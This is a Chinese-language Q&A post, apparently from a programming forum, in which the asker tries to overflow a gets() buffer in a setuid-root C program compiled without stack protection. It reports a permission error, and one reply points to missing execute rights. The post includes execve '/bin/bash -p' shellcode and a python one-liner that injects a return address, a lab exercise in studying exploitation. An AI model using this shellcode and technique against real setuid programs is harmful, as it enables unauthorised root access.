【发布时间】:2015-01-31 01:07:03
【问题描述】:
我正在尝试一个简单程序的缓冲区溢出
#include <stdio.h>
int main(int argc, char **argv)
{
char buf[8];
gets(buf);
printf("%s\n", buf);
return 0;
}
使用这些选项编译
gcc -g exploit1.c -fno-stack-protector -z execstack -o exploit1
二进制文件是 setuid
ls -al exploit1
-r-sr-x--- 1 root root 6016 janv. 31 01:47 exploit1
所以我禁用了所有堆栈选项和 ASLR
我的shellcode是:
\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80
但是没有出现root shell,我有这个错误:
python -c 'print "A"*20 + "\xbf\xfe\xff\xbf"'| ./exploit1
-bash: ./exploit1: Permission denied
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr
我错过了什么吗?
【问题讨论】:
-
您需要对
exploit1的全球执行访问权限。
标签: shell buffer-overflow shellcode